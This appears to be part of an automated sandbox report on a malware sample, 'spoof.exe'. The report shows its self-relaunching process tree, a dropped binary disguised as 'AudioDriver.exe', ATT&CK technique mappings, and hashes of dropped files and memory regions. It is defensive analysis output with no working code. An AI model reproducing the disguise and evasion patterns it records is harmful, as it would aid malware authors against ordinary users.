        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        99⤵
        
        PID:8180
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        98⤵
        
        PID:5472
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        97⤵
        
        PID:3772
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        96⤵
        
        PID:8060
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        95⤵
        
        PID:6332
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        94⤵
        
        PID:1824
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        93⤵
        
        PID:6184
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        92⤵
        
        PID:3524
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        91⤵
        
        PID:7992
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        90⤵
        
        PID:4176
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        89⤵
        
        PID:6640
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        88⤵
        
        PID:536
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        87⤵
        
        PID:4868
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        86⤵
        
        PID:2752
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        85⤵
        
        PID:2740
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        84⤵
        
        PID:5560
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        83⤵
        
        PID:4816
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        82⤵
        
        PID:6748
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        81⤵
        
        PID:7200
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        80⤵
        
        PID:2552
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        79⤵
        
        PID:7456
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        78⤵
        
        PID:7092
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        77⤵
        
        PID:3308
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        76⤵
        
        PID:7932
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        75⤵
        
        PID:5328
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        74⤵
        
        PID:7548
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        73⤵
        
        PID:6060
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        72⤵
        
        PID:3768
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        71⤵
        
        PID:5128
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        70⤵
        
        PID:5040
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        69⤵
        
        PID:6820
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        68⤵
        
        PID:5420
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        67⤵
        
        PID:6976
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        66⤵
        
        PID:5804
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        65⤵
        
        PID:816
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        64⤵
        
        PID:7200
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        63⤵
        
        PID:7080
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        62⤵
        
        PID:5472
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        61⤵
        
        PID:6024
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        60⤵
        
        PID:6136
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        59⤵
        
        PID:1756
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        58⤵
        
        PID:3708
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        57⤵
        
        PID:548
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        56⤵
        
        PID:2788
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        55⤵
        
        PID:6580
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        54⤵
        
        PID:5468
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        53⤵
        
        PID:4468
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        52⤵
        
        PID:4060
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        51⤵
        
        PID:2812
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        50⤵
        
        PID:2584
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        49⤵
        
        PID:612
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        48⤵
        
        PID:3084
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        47⤵
        
        PID:5660
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        46⤵
        
        PID:6964
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        45⤵
        
        PID:7944
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        44⤵
        
        PID:7692
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        43⤵
        
        PID:7364
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        42⤵
        
        PID:7072
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        41⤵
        
        PID:1888
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        40⤵
        
        PID:208
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        39⤵
        
        PID:2976
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        38⤵
        
        PID:6544
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        37⤵
        
        PID:7052
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        36⤵
        
        PID:6520
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        35⤵
        
        PID:6812
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        34⤵
        
        PID:6484
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        33⤵
        
        PID:7116
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        32⤵
        
        PID:6924
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        31⤵
        
        PID:6692
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        30⤵
        
        PID:6420
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        29⤵
        
        PID:6180
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        28⤵
        
        PID:5264
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        27⤵
        
        PID:1484
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        26⤵
        
        PID:2744
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        25⤵
        
        PID:5892
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        24⤵
        
        PID:2632
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        23⤵
        
        PID:5392
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        22⤵
        
        PID:6108
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        21⤵
        
        PID:5784
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        20⤵
        
        PID:5472
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        19⤵
        
        PID:5184
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        18⤵
        
        PID:2308
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        17⤵
        
        PID:4596
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        16⤵
        
        PID:1244
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        15⤵
        
        PID:4292
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        14⤵
        
        PID:1920
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        13⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4756
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        12⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2440
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        11⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4356
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        10⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1236
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3840
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2308
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3784
      - C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3448
    - - C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4720
  - - C:\Users\Admin\AppData\Local\Temp\spoof.exe
      "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2404
- - C:\Users\Admin\AppData\Local\Temp\spoof.exe
    "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3876
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Speech\AudioDriver.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4872
- C:\Users\Admin\AppData\Local\Temp\spoof.exe
  "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\spoof.exe.log

Filesize
805B

MD5
58a9108e39c2ea50e65c23be3a9407cf

SHA1
fb21f7b9330aa1a77080a3243b81b49035102d7b

SHA256
6049be83020702896a539b5c8c13270add224d7b91b3ee0bebc328791b74a84b

SHA512
93804ee8a4560503e47c07f5fa4a959e23355a01aba406c103d339debc9b2b1d20a345cdbb8d8069dac97b9151f228cf559ac3dde1500e3484fba1a4126842bf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
124edf3ad57549a6e475f3bc4e6cfe51

SHA1
80f5187eeebb4a304e9caa0ce66fcd78c113d634

SHA256
638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675

SHA512
b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
c7071b51e2816c59acb8c20789de7026

SHA1
0fc6cb345756dde8bbabc4c8d3b498aeffccc7ae

SHA256
a6721970df7e1c00b50a8b39ec235f1c0d2f48cc2d4eebfeed3cd3a670bc72ce

SHA512
386e3a34452d06ed0eaa232f5404d50ea8d561003e3d40ee13e17adf8d292ed78e85c2550a6cdeeb3a5a3039bd11b0bfdb980a66d31b3bf718dfb76be5fd572a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
e795e425f6420aa92d541be178cad93c

SHA1
5be85ac6497de185319c71b965efb7924089179b

SHA256
93d82b650dab76648d39c01ae85587a3d43d825d1ac0c8a09b0754194e8f9c33

SHA512
3dffc29dc0d1eb8d9e7f26727a91c603ea312c5a2d8e9c2b3adbc68842cf44ea5cadc51fa5e347d0b652febae65013a3d9dc0a2f0b71dd336d7d08bcc3002470

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
6d7189897fcc4b2cc201a21cc08966d2

SHA1
e2a239961ce11fd883d32d53186a3497ffe70960

SHA256
2b7ddf4cdd25be35e25c23f81398c1a16201581f536af5f794e1cc5710413f3c

SHA512
f101c10932c864bf9151151d5c8cfa5d8b2b9f3bf418129489b5bd931df2dab617e0bf4039d46307dd3e7cfa08b22accd92ea7b50c399cb80e2ec661534e3a76

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
54df73469ac76a4c92baf8410023c9d5

SHA1
6dbb6333ee1ba619ca8643cf5bab690380ba13d4

SHA256
f6a4cafa0a754638dbf7d3305c1a8a5a0dafff63a9935fa5e505491055a5256e

SHA512
f392c18b7e8ccc6a6c4d408b844025c68573b13fe3face2aff477b9e602648a5460f0579cd8850b531f98519d75b53993f60c241b6be951760c329829466e564

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
d8b324dfd1dbb4037eee4b0d614ae645

SHA1
babbeb9c54844ea7999d27b0511e167e10518724

SHA256
e3a30d7418437ca28905d5b70390921734dbc02c20a862ea8a0004728d15bfb2

SHA512
fc11f1f17f5c5944ee5c8ad34dfcb69b9195049f81c9e998ceddc6f65359e8b21a2b2cf7b3ff25ec85f6e8c969f89a76e392b7af1a1875c277d74084f3768a08

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ezekkivc.xtk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\spoof.exe

Filesize
1.2MB

MD5
d66d5168a0fb7326e23963f4e8502e32

SHA1
8e5d448ff498a01afc000f9be8a3d5a6591c2a9a

SHA256
7d0f79a9febca115226349613a122d06c83e4fc9b8d955e6cc7654bad357ff9e

SHA512
5a06b4c83cdee5ff2d6b7c914a021c8e7f43370f2ee3a63d376fbf568648a162098b956d3eb1fe9cf5920c269868f40fc0dc43f73ac7413039eea71056a9eb19

Download Submit
C:\Users\Admin\AppData\Roaming\GamerView\sqlite3.dll

Filesize
626KB

MD5
d8aec01ff14e3e7ad43a4b71e30482e4

SHA1
e3015f56f17d845ec7eef11d41bbbc28cc16d096

SHA256
da1d608be064555ab3d3d35e6db64527b8c44f3fa5ddd7c3ec723f80fc99736e

SHA512
f5b2f4bda0cc13e1d1c541fb0caea14081ee4daffd497e31a3d4d55d5f9d85a61158b4891a6527efe623b2f32b697ac912320d9be5c0303812ca98dcc8866fcf

Download Submit
memory/404-272-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/440-251-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/844-225-0x0000000007440000-0x0000000007448000-memory.dmp

Filesize
32KB

Download
memory/844-138-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/844-215-0x0000000007460000-0x000000000747A000-memory.dmp

Filesize
104KB

Download
memory/1212-173-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/1980-395-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/2512-333-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/3168-313-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/3296-227-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/3476-373-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/3488-128-0x0000000007530000-0x00000000075D3000-memory.dmp

Filesize
652KB

Download
memory/3488-237-0x000000007316E000-0x000000007316F000-memory.dmp

Filesize
4KB

Download
memory/3488-11-0x000000007316E000-0x000000007316F000-memory.dmp

Filesize
4KB

Download
memory/3488-107-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/3488-106-0x00000000074F0000-0x0000000007522000-memory.dmp

Filesize
200KB

Download
memory/3488-14-0x0000000002F40000-0x0000000002F76000-memory.dmp

Filesize
216KB

Download
memory/3488-127-0x00000000052A0000-0x00000000052BE000-memory.dmp

Filesize
120KB

Download
memory/3488-17-0x00000000057C0000-0x0000000005DE8000-memory.dmp

Filesize
6.2MB

Download
memory/3488-21-0x0000000005560000-0x0000000005582000-memory.dmp

Filesize
136KB

Download
memory/3488-24-0x0000000005670000-0x00000000056D6000-memory.dmp

Filesize
408KB

Download
memory/3488-149-0x0000000007EA0000-0x000000000851A000-memory.dmp

Filesize
6.5MB

Download
memory/3488-160-0x00000000078E0000-0x00000000078EA000-memory.dmp

Filesize
40KB

Download
memory/3488-161-0x0000000007AE0000-0x0000000007B76000-memory.dmp

Filesize
600KB

Download
memory/3488-22-0x0000000005600000-0x0000000005666000-memory.dmp

Filesize
408KB

Download
memory/3488-26-0x0000000005EF0000-0x0000000006244000-memory.dmp

Filesize
3.3MB

Download
memory/3876-20-0x0000000005810000-0x00000000058A2000-memory.dmp

Filesize
584KB

Download
memory/3876-25-0x0000000005F10000-0x0000000005FC8000-memory.dmp

Filesize
736KB

Download
memory/3876-18-0x0000000005960000-0x0000000005F04000-memory.dmp

Filesize
5.6MB

Download
memory/3876-23-0x0000000005780000-0x00000000057CC000-memory.dmp

Filesize
304KB

Download
memory/3876-29-0x00000000058C0000-0x000000000590E000-memory.dmp

Filesize
312KB

Download
memory/4016-193-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/4028-292-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/4032-212-0x00000000079D0000-0x00000000079DE000-memory.dmp

Filesize
56KB

Download
memory/4032-117-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download
memory/4032-69-0x0000000006450000-0x000000000646E000-memory.dmp

Filesize
120KB

Download
memory/4032-172-0x0000000007990000-0x00000000079A1000-memory.dmp

Filesize
68KB

Download
memory/4032-141-0x0000000007790000-0x00000000077AA000-memory.dmp

Filesize
104KB

Download
memory/4032-214-0x00000000079E0000-0x00000000079F4000-memory.dmp

Filesize
80KB

Download
memory/4032-70-0x00000000064E0000-0x000000000652C000-memory.dmp

Filesize
304KB

Download
memory/4708-82-0x0000000073160000-0x0000000073910000-memory.dmp

Filesize
7.7MB

Download
memory/4708-16-0x00000000031B0000-0x00000000031BA000-memory.dmp

Filesize
40KB

Download
memory/4708-13-0x0000000073160000-0x0000000073910000-memory.dmp

Filesize
7.7MB

Download
memory/4708-12-0x0000000000ED0000-0x0000000001002000-memory.dmp

Filesize
1.2MB

Download
memory/4872-302-0x0000000060900000-0x0000000060992000-memory.dmp

Filesize
584KB

Download
memory/4872-94-0x0000000005940000-0x0000000005B02000-memory.dmp

Filesize
1.8MB

Download
memory/4872-96-0x00000000058F0000-0x0000000005900000-memory.dmp

Filesize
64KB

Download
memory/4872-104-0x0000000006140000-0x000000000614A000-memory.dmp

Filesize
40KB

Download
memory/4888-344-0x0000000073AA0000-0x0000000073AEC000-memory.dmp

Filesize
304KB

Download